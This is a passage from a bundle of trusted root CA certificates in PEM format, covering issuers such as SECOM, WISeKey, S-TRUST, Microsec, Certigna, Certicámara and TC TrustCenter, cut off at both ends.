MB4XDTAyMTIxMzE0MjkyM1oXDTIwMTAxNzE0MjkyMlowgYUxCzAJBgNVBAYTAkZSMQ8wDQYDVQQI EwZGcmFuY2UxDjAMBgNVBAcTBVBhcmlzMRAwDgYDVQQKEwdQTS9TR0ROMQ4wDAYDVQQLEwVEQ1NT STEOMAwGA1UEAxMFSUdDL0ExIzAhBgkqhkiG9w0BCQEWFGlnY2FAc2dkbi5wbS5nb3V2LmZyMIIB IjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAsh/R0GLFMzvABIaIs9z4iPf930Pfeo2aSVz2 TqrMHLmh6yeJ8kbpO0px1R2OLc/mratjUMdUC24SyZA2xtgv2pGqaMVy/hcKshd+ebUyiHDKcMCW So7kVc0dJ5S/znIq7Fz5cyD+vfcuiWe4u0dzEvfRNWk68gq5rv9GQkaiv6GFGvm/5P9JhfejcIYy HF2fYPepraX/z9E0+X1bF8bc1g4oa8Ld8fUzaJ1O/Id8NhLWo4DoQw1VYZTqZDdH6nfK0LJYBcNd frGoRpAxVs5wKpayMLh35nnAvSk7/ZR3TL0gzUEl4C7HG7vupARB0l2tEmqKm0f7yd1GQOGdPDPQ tQIDAQABo3cwdTAPBgNVHRMBAf8EBTADAQH/MAsGA1UdDwQEAwIBRjAVBgNVHSAEDjAMMAoGCCqB egF5AQEBMB0GA1UdDgQWBBSjBS8YYFDCiQrdKyFP/45OqDAxNjAfBgNVHSMEGDAWgBSjBS8YYFDC iQrdKyFP/45OqDAxNjANBgkqhkiG9w0BAQUFAAOCAQEABdwm2Pp3FURo/C9mOnTgXeQp/wYHE4RK q89toB9RlPhJy3Q2FLwV3duJL92PoF189RLrn544pEfMs5bZvpwlqwN+Mw+VgQ39FuCIvjfwbF3Q MZsyK10XZZOYYLxuj7GoPB7ZHPOpJkL5ZB3C55L29B5aqhlSXa/oovdgoPaN8In1buAKBQGVyYsg Crpa/JosPL3Dt8ldeCUFP1YUmwza+zpI/pdpXsoQhvdOlgQITeywvl3cO45Pwf2aNjSaTFR+FwNI lQgRHAdvhQh+XU3Endv7rs6y0bO4g2wdsrN58dhwmX7wEwLOXt1R0982gaEbeC9xs/FZTEYYKKuF 0mBWWg== -----END CERTIFICATE----- Security Communication EV RootCA1 ================================= -----BEGIN CERTIFICATE----- MIIDfTCCAmWgAwIBAgIBADANBgkqhkiG9w0BAQUFADBgMQswCQYDVQQGEwJKUDElMCMGA1UEChMc U0VDT00gVHJ1c3QgU3lzdGVtcyBDTy4sTFRELjEqMCgGA1UECxMhU2VjdXJpdHkgQ29tbXVuaWNh dGlvbiBFViBSb290Q0ExMB4XDTA3MDYwNjAyMTIzMloXDTM3MDYwNjAyMTIzMlowYDELMAkGA1UE BhMCSlAxJTAjBgNVBAoTHFNFQ09NIFRydXN0IFN5c3RlbXMgQ08uLExURC4xKjAoBgNVBAsTIVNl Y3VyaXR5IENvbW11bmljYXRpb24gRVYgUm9vdENBMTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCC AQoCggEBALx/7FebJOD+nLpCeamIivqA4PUHKUPqjgo0No0c+qe1OXj/l3X3L+SqawSERMqm4miO /VVQYg+kcQ7OBzgtQoVQrTyWb4vVog7P3kmJPdZkLjjlHmy1V4qe70gOzXppFodEtZDkBp2uoQSX WHnvIEqCa4wiv+wfD+mEce3xDuS4GBPMVjZd0ZoeUWs5bmB2iDQL87PRsJ3KYeJkHcFGB7hj3R4z ZbOOCVVSPbW9/wfrrWFVGCypaZhKqkDFMxRldAD5kd6vA0jFQFTcD4SQaCDFkpbcLuUCRarAX1T4 bepJz11sS6/vmsJWXMY1VkJqMF/Cq/biPT+zyRGPMUzXn0kCAwEAAaNCMEAwHQYDVR0OBBYEFDVK 9U2vP9eCOKyrcWUXdYydVZPmMA4GA1UdDwEB/wQEAwIBBjAPBgNVHRMBAf8EBTADAQH/MA0GCSqG SIb3DQEBBQUAA4IBAQCoh+ns+EBnXcPBZsdAS5f8hxOQWsTvoMpfi7ent/HWtWS3irO4G8za+6xm iEHO6Pzk2x6Ipu0nUBsCMCRGef4Eh3CXQHPRwMFXGZpppSeZq51ihPZRwSzJIxXYKLerJRO1RuGG Av8mjMSIkh1W/hln8lXkgKNrnKt34VFxDSDbEJrbvXZ5B3eZKK2aXtqxT0QsNY6llsf9g/BYxnnW mHyojf6GPgcWkuF75x3sM3Z+Qi5KhfmRiWiEA4Glm5q+4zfFVKtWOxgtQaQM+ELbmaDgcm+7XeEW T1MKZPlO9L9OVL14bIjqv5wTJMJwaaJ/D8g8rQjJsJhAoyrniIPtd490 -----END CERTIFICATE----- OISTE WISeKey Global Root GA CA =============================== -----BEGIN CERTIFICATE----- MIID8TCCAtmgAwIBAgIQQT1yx/RrH4FDffHSKFTfmjANBgkqhkiG9w0BAQUFADCBijELMAkGA1UE BhMCQ0gxEDAOBgNVBAoTB1dJU2VLZXkxGzAZBgNVBAsTEkNvcHlyaWdodCAoYykgMjAwNTEiMCAG A1UECxMZT0lTVEUgRm91bmRhdGlvbiBFbmRvcnNlZDEoMCYGA1UEAxMfT0lTVEUgV0lTZUtleSBH bG9iYWwgUm9vdCBHQSBDQTAeFw0wNTEyMTExNjAzNDRaFw0zNzEyMTExNjA5NTFaMIGKMQswCQYD VQQGEwJDSDEQMA4GA1UEChMHV0lTZUtleTEbMBkGA1UECxMSQ29weXJpZ2h0IChjKSAyMDA1MSIw IAYDVQQLExlPSVNURSBGb3VuZGF0aW9uIEVuZG9yc2VkMSgwJgYDVQQDEx9PSVNURSBXSVNlS2V5 IEdsb2JhbCBSb290IEdBIENBMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAy0+zAJs9 Nt350UlqaxBJH+zYK7LG+DKBKUOVTJoZIyEVRd7jyBxRVVuuk+g3/ytr6dTqvirdqFEr12bDYVxg Asj1znJ7O7jyTmUIms2kahnBAbtzptf2w93NvKSLtZlhuAGio9RN1AU9ka34tAhxZK9w8RxrfvbD d50kc3vkDIzh2TbhmYsFmQvtRTEJysIA2/dyoJaqlYfQjse2YXMNdmaM3Bu0Y6Kff5MTMPGhJ9vZ /yxViJGg4E8HsChWjBgbl0SOid3gF27nKu+POQoxhILYQBRJLnpB5Kf+42TMwVlxSywhp1t94B3R LoGbw9ho972WG6xwsRYUC9tguSYBBQIDAQABo1EwTzALBgNVHQ8EBAMCAYYwDwYDVR0TAQH/BAUw AwEB/zAdBgNVHQ4EFgQUswN+rja8sHnR3JQmthG+IbJphpQwEAYJKwYBBAGCNxUBBAMCAQAwDQYJ KoZIhvcNAQEFBQADggEBAEuh/wuHbrP5wUOxSPMowB0uyQlB+pQAHKSkq0lPjz0e701vvbyk9vIm MMkQyh2I+3QZH4VFvbBsUfk2ftv1TDI6QU9bR8/oCy22xBmddMVHxjtqD6wU2zz0c5ypBd8A3HR4 +vg1YFkCExh8vPtNsCBtQ7tgMHpnM1zFmdH4LTlSc/uMqpclXHLZCB6rTjzjgTGfA6b7wP4piFXa hNVQA7bihKOmNqoROgHhGEvWRGizPflTdISzRpFGlgC3gCy24eMQ4tui5yiPAZZiFj4A4xylNoEY okxSdsARo27mHbrjWr42U8U+dY+GaSlYU7Wcu2+fXMUY7N0v4ZjJ/L7fCg0= -----END CERTIFICATE----- S-TRUST Authentication and Encryption Root CA 2005 PN ===================================================== -----BEGIN CERTIFICATE----- MIIEezCCA2OgAwIBAgIQNxkY5lNUfBq1uMtZWts1tzANBgkqhkiG9w0BAQUFADCBrjELMAkGA1UE BhMCREUxIDAeBgNVBAgTF0JhZGVuLVd1ZXJ0dGVtYmVyZyAoQlcpMRIwEAYDVQQHEwlTdHV0dGdh cnQxKTAnBgNVBAoTIERldXRzY2hlciBTcGFya2Fzc2VuIFZlcmxhZyBHbWJIMT4wPAYDVQQDEzVT LVRSVVNUIEF1dGhlbnRpY2F0aW9uIGFuZCBFbmNyeXB0aW9uIFJvb3QgQ0EgMjAwNTpQTjAeFw0w NTA2MjIwMDAwMDBaFw0zMDA2MjEyMzU5NTlaMIGuMQswCQYDVQQGEwJERTEgMB4GA1UECBMXQmFk ZW4tV3VlcnR0ZW1iZXJnIChCVykxEjAQBgNVBAcTCVN0dXR0Z2FydDEpMCcGA1UEChMgRGV1dHNj aGVyIFNwYXJrYXNzZW4gVmVybGFnIEdtYkgxPjA8BgNVBAMTNVMtVFJVU1QgQXV0aGVudGljYXRp b24gYW5kIEVuY3J5cHRpb24gUm9vdCBDQSAyMDA1OlBOMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8A MIIBCgKCAQEA2bVKwdMz6tNGs9HiTNL1toPQb9UY6ZOvJ44TzbUlNlA0EmQpoVXhOmCTnijJ4/Ob 4QSwI7+Vio5bG0F/WsPoTUzVJBY+h0jUJ67m91MduwwA7z5hca2/OnpYH5Q9XIHV1W/fuJvS9eXL g3KSwlOyggLrra1fFi2SU3bxibYs9cEv4KdKb6AwajLrmnQDaHgTncovmwsdvs91DSaXm8f1Xgqf eN+zvOyauu9VjxuapgdjKRdZYgkqeQd3peDRF2npW932kKvimAoA0SVtnteFhy+S8dF2g08LOlk3 KC8zpxdQ1iALCvQm+Z845y2kuJuJja2tyWp9iRe79n+Ag3rm7QIDAQABo4GSMIGPMBIGA1UdEwEB /wQIMAYBAf8CAQAwDgYDVR0PAQH/BAQDAgEGMCkGA1UdEQQiMCCkHjAcMRowGAYDVQQDExFTVFJv bmxpbmUxLTIwNDgtNTAdBgNVHQ4EFgQUD8oeXHngovMpttKFswtKtWXsa1IwHwYDVR0jBBgwFoAU D8oeXHngovMpttKFswtKtWXsa1IwDQYJKoZIhvcNAQEFBQADggEBAK8B8O0ZPCjoTVy7pWMciDMD pwCHpB8gq9Yc4wYfl35UvbfRssnV2oDsF9eK9XvCAPbpEW+EoFolMeKJ+aQAPzFoLtU96G7m1R08 P7K9n3frndOMusDXtk3sU5wPBG7qNWdX4wple5A64U8+wwCSersFiXOMy6ZNwPv2AtawB6MDwidA nwzkhYItr5pCHdDHjfhA7p0GVxzZotiAFP7hYy0yh9WUUpY6RsZxlj33mA6ykaqP2vROJAA5Veit F7nTNCtKqUDMFypVZUF0Qn71wK/Ik63yGFs9iQzbRzkk+OBM8h+wPQrKBU6JIRrjKpms/H+h8Q8b Hz2eBIPdltkdOpQ= -----END CERTIFICATE----- Microsec e-Szigno Root CA ========================= -----BEGIN CERTIFICATE----- MIIHqDCCBpCgAwIBAgIRAMy4579OKRr9otxmpRwsDxEwDQYJKoZIhvcNAQEFBQAwcjELMAkGA1UE BhMCSFUxETAPBgNVBAcTCEJ1ZGFwZXN0MRYwFAYDVQQKEw1NaWNyb3NlYyBMdGQuMRQwEgYDVQQL EwtlLVN6aWdubyBDQTEiMCAGA1UEAxMZTWljcm9zZWMgZS1Temlnbm8gUm9vdCBDQTAeFw0wNTA0 MDYxMjI4NDRaFw0xNzA0MDYxMjI4NDRaMHIxCzAJBgNVBAYTAkhVMREwDwYDVQQHEwhCdWRhcGVz dDEWMBQGA1UEChMNTWljcm9zZWMgTHRkLjEUMBIGA1UECxMLZS1Temlnbm8gQ0ExIjAgBgNVBAMT GU1pY3Jvc2VjIGUtU3ppZ25vIFJvb3QgQ0EwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIB AQDtyADVgXvNOABHzNuEwSFpLHSQDCHZU4ftPkNEU6+r+ICbPHiN1I2uuO/TEdyB5s87lozWbxXG d36hL+BfkrYn13aaHUM86tnsL+4582pnS4uCzyL4ZVX+LMsvfUh6PXX5qqAnu3jCBspRwn5mS6/N oqdNAoI/gqyFxuEPkEeZlApxcpMqyabAvjxWTHOSJ/FrtfX9/DAFYJLG65Z+AZHCabEeHXtTRbjc QR/Ji3HWVBTji1R4P770Yjtb9aPs1ZJ04nQw7wHb4dSrmZsqa/i9phyGI0Jf7Enemotb9HI6QMVJ PqW+jqpx62z69Rrkav17fVVA71hu5tnVvCSrwe+3AgMBAAGjggQ3MIIEMzBnBggrBgEFBQcBAQRb MFkwKAYIKwYBBQUHMAGGHGh0dHBzOi8vcmNhLmUtc3ppZ25vLmh1L29jc3AwLQYIKwYBBQUHMAKG IWh0dHA6Ly93d3cuZS1zemlnbm8uaHUvUm9vdENBLmNydDAPBgNVHRMBAf8EBTADAQH/MIIBcwYD VR0gBIIBajCCAWYwggFiBgwrBgEEAYGoGAIBAQEwggFQMCgGCCsGAQUFBwIBFhxodHRwOi8vd3d3 LmUtc3ppZ25vLmh1L1NaU1ovMIIBIgYIKwYBBQUHAgIwggEUHoIBEABBACAAdABhAG4A+gBzAO0A dAB2AOEAbgB5ACAA6QByAHQAZQBsAG0AZQB6AOkAcwDpAGgAZQB6ACAA6QBzACAAZQBsAGYAbwBn AGEAZADhAHMA4QBoAG8AegAgAGEAIABTAHoAbwBsAGcA4QBsAHQAYQB0APMAIABTAHoAbwBsAGcA 4QBsAHQAYQB0AOEAcwBpACAAUwB6AGEAYgDhAGwAeQB6AGEAdABhACAAcwB6AGUAcgBpAG4AdAAg AGsAZQBsAGwAIABlAGwAagDhAHIAbgBpADoAIABoAHQAdABwADoALwAvAHcAdwB3AC4AZQAtAHMA egBpAGcAbgBvAC4AaAB1AC8AUwBaAFMAWgAvMIHIBgNVHR8EgcAwgb0wgbqggbeggbSGIWh0dHA6 Ly93d3cuZS1zemlnbm8uaHUvUm9vdENBLmNybIaBjmxkYXA6Ly9sZGFwLmUtc3ppZ25vLmh1L0NO PU1pY3Jvc2VjJTIwZS1Temlnbm8lMjBSb290JTIwQ0EsT1U9ZS1Temlnbm8lMjBDQSxPPU1pY3Jv c2VjJTIwTHRkLixMPUJ1ZGFwZXN0LEM9SFU/Y2VydGlmaWNhdGVSZXZvY2F0aW9uTGlzdDtiaW5h cnkwDgYDVR0PAQH/BAQDAgEGMIGWBgNVHREEgY4wgYuBEGluZm9AZS1zemlnbm8uaHWkdzB1MSMw IQYDVQQDDBpNaWNyb3NlYyBlLVN6aWduw7MgUm9vdCBDQTEWMBQGA1UECwwNZS1TemlnbsOzIEhT WjEWMBQGA1UEChMNTWljcm9zZWMgS2Z0LjERMA8GA1UEBxMIQnVkYXBlc3QxCzAJBgNVBAYTAkhV MIGsBgNVHSMEgaQwgaGAFMegSXUWYYTbMUuE0vE3QJDvTtz3oXakdDByMQswCQYDVQQGEwJIVTER MA8GA1UEBxMIQnVkYXBlc3QxFjAUBgNVBAoTDU1pY3Jvc2VjIEx0ZC4xFDASBgNVBAsTC2UtU3pp Z25vIENBMSIwIAYDVQQDExlNaWNyb3NlYyBlLVN6aWdubyBSb290IENBghEAzLjnv04pGv2i3Gal HCwPETAdBgNVHQ4EFgQUx6BJdRZhhNsxS4TS8TdAkO9O3PcwDQYJKoZIhvcNAQEFBQADggEBANMT nGZjWS7KXHAM/IO8VbH0jgdsZifOwTsgqRy7RlRw7lrMoHfqaEQn6/Ip3Xep1fvj1KcExJW4C+FE aGAHQzAxQmHl7tnlJNUb3+FKG6qfx1/4ehHqE5MAyopYse7tDk2016g2JnzgOsHVV4Lxdbb9iV/a 86g4nzUGCM4ilb7N1fy+W955a9x6qWVmvrElWl/tftOsRm1M9DKHtCAE4Gx4sHfRhUZLphK3dehK yVZs15KrnfVJONJPU+NVkBHbmJbGSfI+9J8b4PeI3CVimUTYc78/MPMMNz7UwiiAc7EBt51alhQB S6kRnSlqLtBdgcDPsiBDxwPgN05dCtxZICU= -----END CERTIFICATE----- Certigna ======== -----BEGIN CERTIFICATE----- MIIDqDCCApCgAwIBAgIJAP7c4wEPyUj/MA0GCSqGSIb3DQEBBQUAMDQxCzAJBgNVBAYTAkZSMRIw EAYDVQQKDAlEaGlteW90aXMxETAPBgNVBAMMCENlcnRpZ25hMB4XDTA3MDYyOTE1MTMwNVoXDTI3 MDYyOTE1MTMwNVowNDELMAkGA1UEBhMCRlIxEjAQBgNVBAoMCURoaW15b3RpczERMA8GA1UEAwwI Q2VydGlnbmEwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDIaPHJ1tazNHUmgh7stL7q XOEm7RFHYeGifBZ4QCHkYJ5ayGPhxLGWkv8YbWkj4Sti993iNi+RB7lIzw7sebYs5zRLcAglozyH GxnygQcPOJAZ0xH+hrTy0V4eHpbNgGzOOzGTtvKg0KmVEn2lmsxryIRWijOp5yIVUxbwzBfsV1/p ogqYCd7jX5xv3EjjhQsVWqa6n6xI4wmy9/Qy3l40vhx4XUJbzg4ij02Q130yGLMLLGq/jj8UEYkg DncUtT2UCIf3JR7VsmAA7G8qKCVuKj4YYxclPz5EIBb2JsglrgVKtOdjLPOMFlN+XPsRGgjBRmKf Irjxwo1p3Po6WAbfAgMBAAGjgbwwgbkwDwYDVR0TAQH/BAUwAwEB/zAdBgNVHQ4EFgQUGu3+QTmQ tCRZvgHyUtVF9lo53BEwZAYDVR0jBF0wW4AUGu3+QTmQtCRZvgHyUtVF9lo53BGhOKQ2MDQxCzAJ BgNVBAYTAkZSMRIwEAYDVQQKDAlEaGlteW90aXMxETAPBgNVBAMMCENlcnRpZ25hggkA/tzjAQ/J SP8wDgYDVR0PAQH/BAQDAgEGMBEGCWCGSAGG+EIBAQQEAwIABzANBgkqhkiG9w0BAQUFAAOCAQEA hQMeknH2Qq/ho2Ge6/PAD/Kl1NqV5ta+aDY9fm4fTIrv0Q8hbV6lUmPOEvjvKtpv6zf+EwLHyzs+ ImvaYS5/1HI93TDhHkxAGYwP15zRgzB7mFncfca5DClMoTOi62c6ZYTTluLtdkVwj7Ur3vkj1klu PBS1xp81HlDQwY9qcEQCYsuuHWhBp6pX6FOqB9IG9tUUBguRA3UsbHK1YZWaDYu5Def131TN3ubY 1gkIl2PlwS6wt0QmwCbAr1UwnjvVNioZBPRcHv/PLLf/0P2HQBHVESO7SMAhqaQoLf0V+LBOK/Qw WyH8EZE0vkHve52Xdf+XlcCWWC/qu0bXu+TZLg== -----END CERTIFICATE----- AC Ra\xC3\xADz Certic\xC3\xA1mara S.A. ====================================== -----BEGIN CERTIFICATE----- MIIGZjCCBE6gAwIBAgIPB35Sk3vgFeNX8GmMy+wMMA0GCSqGSIb3DQEBBQUAMHsxCzAJBgNVBAYT AkNPMUcwRQYDVQQKDD5Tb2NpZWRhZCBDYW1lcmFsIGRlIENlcnRpZmljYWNpw7NuIERpZ2l0YWwg LSBDZXJ0aWPDoW1hcmEgUy5BLjEjMCEGA1UEAwwaQUMgUmHDrXogQ2VydGljw6FtYXJhIFMuQS4w HhcNMDYxMTI3MjA0NjI5WhcNMzAwNDAyMjE0MjAyWjB7MQswCQYDVQQGEwJDTzFHMEUGA1UECgw+ U29jaWVkYWQgQ2FtZXJhbCBkZSBDZXJ0aWZpY2FjacOzbiBEaWdpdGFsIC0gQ2VydGljw6FtYXJh IFMuQS4xIzAhBgNVBAMMGkFDIFJhw616IENlcnRpY8OhbWFyYSBTLkEuMIICIjANBgkqhkiG9w0B AQEFAAOCAg8AMIICCgKCAgEAq2uJo1PMSCMI+8PPUZYILrgIem08kBeGqentLhM0R7LQcNzJPNCN yu5LF6vQhbCnIwTLqKL85XXbQMpiiY9QngE9JlsYhBzLfDe3fezTf3MZsGqy2IiKLUV0qPezuMDU 2s0iiXRNWhU5cxh0T7XrmafBHoi0wpOQY5fzp6cSsgkiBzPZkc0OnB8OIMfuuzONj8LSWKdf/WU3 4ojC2I+GdV75LaeHM/J4Ny+LvB2GNzmxlPLYvEqcgxhaBvzz1NS6jBUJJfD5to0EfhcSM2tXSExP 2yYe68yQ54v5aHxwD6Mq0Do43zeX4lvegGHTgNiRg0JaTASJaBE8rF9ogEHMYELODVoqDA+bMMCm 8Ibbq0nXl21Ii/kDwFJnmxL3wvIumGVC2daa49AZMQyth9VXAnow6IYm+48jilSH5L887uvDdUhf HjlvgWJsxS3EF1QZtzeNnDeRyPYL1epjb4OsOMLzP96a++EjYfDIJss2yKHzMI+ko6Kh3VOz3vCa Mh+DkXkwwakfU5tTohVTP92dsxA7SH2JD/ztA/X7JWR1DhcZDY8AFmd5ekD8LVkH2ZD6mq093ICK 5lw1omdMEWux+IBkAC1vImHFrEsm5VoQgpukg3s0956JkSCXjrdCx2bD0Omk1vUgjcTDlaxECp1b czwmPS9KvqfJpxAe+59QafMCAwEAAaOB5jCB4zAPBgNVHRMBAf8EBTADAQH/MA4GA1UdDwEB/wQE AwIBBjAdBgNVHQ4EFgQU0QnQ6dfOeXRU+Tows/RtLAMDG2gwgaAGA1UdIASBmDCBlTCBkgYEVR0g ADCBiTArBggrBgEFBQcCARYfaHR0cDovL3d3dy5jZXJ0aWNhbWFyYS5jb20vZHBjLzBaBggrBgEF BQcCAjBOGkxMaW1pdGFjaW9uZXMgZGUgZ2FyYW507WFzIGRlIGVzdGUgY2VydGlmaWNhZG8gc2Ug cHVlZGVuIGVuY29udHJhciBlbiBsYSBEUEMuMA0GCSqGSIb3DQEBBQUAA4ICAQBclLW4RZFNjmEf AygPU3zmpFmps4p6xbD/CHwso3EcIRNnoZUSQDWDg4902zNc8El2CoFS3UnUmjIz75uny3XlesuX EpBcunvFm9+7OSPI/5jOCk0iAUgHforA1SBClETvv3eiiWdIG0ADBaGJ7M9i4z0ldma/Jre7Ir5v /zlXdLp6yQGVwZVR6Kss+LGGIOk/yzVb0hfpKv6DExdA7ohiZVvVO2Dpezy4ydV/NgIlqmjCMRW3 MGXrfx1IebHPOeJCgBbT9ZMj/EyXyVo3bHwi2ErN0o42gzmRkBDI8ck1fj+404HGIGQatlDCIaR4 3NAvO2STdPCWkPHv+wlaNECW8DYSwaN0jJN+Qd53i+yG2dIPPy3RzECiiWZIHiCznCNZc6lEc7wk eZBWN7PGKX6jD/EpOe9+XCgycDWs2rjIdWb8m0w5R44bb5tNAlQiM+9hup4phO9OSzNHdpdqy35f /RWmnkJDW2ZaiogN9xa5P1FlK2Zqi9E4UqLWRhH6/JocdJ6PlwsCT2TG9WjTSy3/pDceiz+/RL5h RqGEPQgnTIEgd4kI6mdAXmwIUV80WoyWaM3X94nCHNMyAK9Sy9NgWyo6R35rMDOhYil/SrnhLecU Iw4OGEfhefwVVdCx/CVxY3UzHCMrr1zZ7Ud3YA47Dx7SwNxkBYn8eNZcLCZDqQ== -----END CERTIFICATE----- TC TrustCenter Class 2 CA II ============================ -----BEGIN CERTIFICATE----- MIIEqjCCA5KgAwIBAgIOLmoAAQACH9dSISwRXDswDQYJKoZIhvcNAQEFBQAwdjELMAkGA1UEBhMC REUxHDAaBgNVBAoTE1RDIFRydXN0Q2VudGVyIEdtYkgxIjAgBgNVBAsTGVRDIFRydXN0Q2VudGVy IENsYXNzIDIgQ0ExJTAjBgNVBAMTHFRDIFRydXN0Q2VudGVyIENsYXNzIDIgQ0EgSUkwHhcNMDYw MTEyMTQzODQzWhcNMjUxMjMxMjI1OTU5WjB2MQswCQYDVQQGEwJERTEcMBoGA1UEChMTVEMgVHJ1 c3RDZW50ZXIgR21iSDEiMCAGA1UECxMZVEMgVHJ1c3RDZW50ZXIgQ2xhc3MgMiBDQTElMCMGA1UE AxMcVEMgVHJ1c3RDZW50ZXIgQ2xhc3MgMiBDQSBJSTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCC AQoCggEBAKuAh5uO8MN8h9foJIIRszzdQ2Lu+MNF2ujhoF/RKrLqk2jftMjWQ+nEdVl//OEd+DFw IxuInie5e/060smp6RQvkL4DUsFJzfb95AhmC1eKokKguNV/aVyQMrKXDcpK3EY+AlWJU+MaWss2 xgdW94zPEfRMuzBwBJWl9jmM/XOBCH2JXjIeIqkiRUuwZi4wzJ9l/fzLganx4Duvo4bRierERXlQ Xa7pIXSSTYtZgo+U4+lK8edJsBTj9WLL1XK9H7nSn6DNqPoByNkN39r8R52zyFTfSUrxIan+GE7u SNQZu+995OKdy1u2bv/jzVrndIIFuoAlOMvkaZ6vQaoahPUCAwEAAaOCATQwggEwMA8GA1UdEwEB /wQFMAMBAf8wDgYDVR0PAQH/BAQDAgEGMB0GA1UdDgQWBBTjq1RMgKHbVkO3kUrL84J6E1wIqzCB 7QYDVR0fBIHlMIHiMIHfoIHcoIHZhjVodHRwOi8vd3d3LnRydXN0Y2VudGVyLmRlL2NybC92Mi90 Y19jbGFzc18yX2NhX0lJLmNybIaBn2xkYXA6Ly93d3cudHJ1c3RjZW50ZXIuZGUvQ049VEMlMjBU cnVzdENlbnRlciUyMENsYXNzJTIwMiUyMENBJTIwSUksTz1UQyUyMFRydXN0Q2VudGVyJTIwR21i SCxPVT1yb290Y2VydHMsREM9dHJ1c3RjZW50ZXIsREM9ZGU/Y2VydGlmaWNhdGVSZXZvY2F0aW9u TGlzdD9iYXNlPzANBgkqhkiG9w0BAQUFAAOCAQEAjNfffu4bgBCzg/XbEeprS6iSGNn3Bzn1LL4G dXpoUxUc6krtXvwjshOg0wn/9vYua0Fxec3ibf2uWWuFHbhOIprtZjluS5TmVfwLG4t3wVMTZonZ KNaL80VKY7f9ewthXbhtvsPcW3nS7Yblok2+XnR8au0WOB9/WIFaGusyiC2y8zl3gK9etmF1Kdsj TYjKUCjLhdLTEKJZbtOTVAB6okaVhgWcqRmY5TFyDADiZ9lA4CQze28suVyrZZ0srHbqNZn1l7kP JOzHdiEoZa5X6AeIdUpWoNIFOqTmjZKILPPy4cHGYdtBxceb9w4aUUXCYWvcZCcXjFq32nQozZfk vQ== -----END CERTIFICATE----- TC TrustCenter Class 3 CA II ============================ -----BEGIN CERTIFICATE----- MIIEqjCCA5KgAwIBAgIOSkcAAQAC5aBd1j8AUb8wDQYJKoZIhvcNAQEFBQAwdjELMAkGA1UEBhMC REUxHDAaBgNVBAoTE1RDIFRydXN0Q2VudGVyIEdtYkgxIjAgBgNVBAsTGVRDIFRydXN0Q2VudGVy IENsYXNzIDMgQ0ExJTAjBgNVBAMTHFRDIFRydXN0Q2VudGVyIENsYXNzIDMgQ0EgSUkwHhcNMDYw MTEyMTQ0MTU3WhcNMjUxMjMxMjI1OTU5WjB2MQswCQYDVQQGEwJERTEcMBoGA1UEChMTVEMgVHJ1 c3RDZW50ZXIgR21iSDEiMCAGA1UECxMZVEMgVHJ1c3RDZW50ZXIgQ2xhc3MgMyBDQTElMCMGA1UE AxMcVEMgVHJ1c3RDZW50ZXIgQ2xhc3MgMyBDQSBJSTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCC AQoCggEBALTgu1G7OVyLBMVMeRwjhjEQY0NVJz/GRcekPewJDRoeIMJWHt4bNwcwIi9v8Qbxq63W yKthoy9DxLCyLfzDlml7forkzMA5EpBCYMnMNWju2l+QVl/NHE1bWEnrDgFPZPosPIlY2C8u4rBo 6SI7dYnWRBpl8huXJh0obazovVkdKyT21oQDZogkAHhg8fir/gKya/si+zXmFtGt9i4S5Po1auUZ uV3bOx4a+9P/FRQI2AlqukWdFHlgfa9Aigdzs5OW03Q0jTo3Kd5c7PXuLjHCINy+8U9/I1LZW+Jk 2ZyqBwi1Rb3R0DHBq1SfqdLDYmAD8bs5SpJKPQq5ncWg/jcCAwEAAaOCATQwggEwMA8GA1UdEwEB /wQFMAMBAf8wDgYDVR0PAQH/BAQDAgEGMB0GA1UdDgQWBBTUovyfs8PYA9NXXAek0CSnwPIA1DCB 7QYDVR0fBIHlMIHiMIHfoIHcoIHZhjVodHRwOi8vd3d3LnRydXN0Y2VudGVyLmRlL2NybC92Mi90 Y19jbGFzc18zX2NhX0lJLmNybIaBn2xkYXA6Ly93d3cudHJ1c3RjZW50ZXIuZGUvQ049VEMlMjBU cnVzdENlbnRlciUyMENsYXNzJTIwMyUyMENBJTIwSUksTz1UQyUyMFRydXN0Q2VudGVyJTIwR21i SCxPVT1yb290Y2VydHMsREM9dHJ1c3RjZW50ZXIsREM9ZGU/Y2VydGlmaWNhdGVSZXZvY2F0aW9u TGlzdD9iYXNlPzANBgkqhkiG9w0BAQUFAAOCAQEANmDkcPcGIEPZIxpC8vijsrlNirTzwppVMXzE O2eatN9NDoqTSheLG43KieHPOh6sHfGcMrSOWXaiQYUlN6AT0PV8TtXqluJucsG7Kv5sbviRmEb8 yRtXW+rIGjs/sFGYPAfaLFkB2otE6OF0/ado3VS6g0bsyEa1+K+XwDsJHI/OcpY9M1ZwvJbL2NV9 IJqDnxrcOfHFcqMRA/07QlIp2+gB95tejNaNhk4Z+rwcvsUhpYeeeC422wlxo3I0+GzjBgnyXlal 092Y+tTmBvTwtiBjS+opvaqCZh77gaqnN60TGOaSw4HBM7uIHqHn4rS9MWwOUT1v+5ZWgOI2F9Hc 5A== -----END CERTIFICATE----- TC TrustCenter Universal CA I ============================= -----BEGIN CERTIFICATE----- MIID3TCCAsWgAwIBAgIOHaIAAQAC7LdggHiNtgYwDQYJKoZIhvcNAQEFBQAweTELMAkGA1UEBhMC REUxHDAaBgNVBAoTE1RDIFRydXN0Q2VudGVyIEdtYkgxJDAiBgNVBAsTG1RDIFRydXN0Q2VudGVy IFVuaXZlcnNhbCBDQTEmMCQGA1UEAxMdVEMgVHJ1c3RDZW50ZXIgVW5pdmVyc2FsIENBIEkwHhcN MDYwMzIyMTU1NDI4WhcNMjUxMjMxMjI1OTU5WjB5MQswCQYDVQQGEwJERTEcMBoGA1UEChMTVEMg VHJ1c3RDZW50ZXIgR21iSDEkMCIGA1UECxMbVEMgVHJ1c3RDZW50ZXIgVW5pdmVyc2FsIENBMSYw JAYDVQQDEx1UQyBUcnVzdENlbnRlciBVbml2ZXJzYWwgQ0EgSTCCASIwDQYJKoZIhvcNAQEBBQAD ggEPADCCAQoCggEBAKR3I5ZEr5D0MacQ9CaHnPM42Q9e3s9B6DGtxnSRJJZ4Hgmgm5qVSkr1YnwC 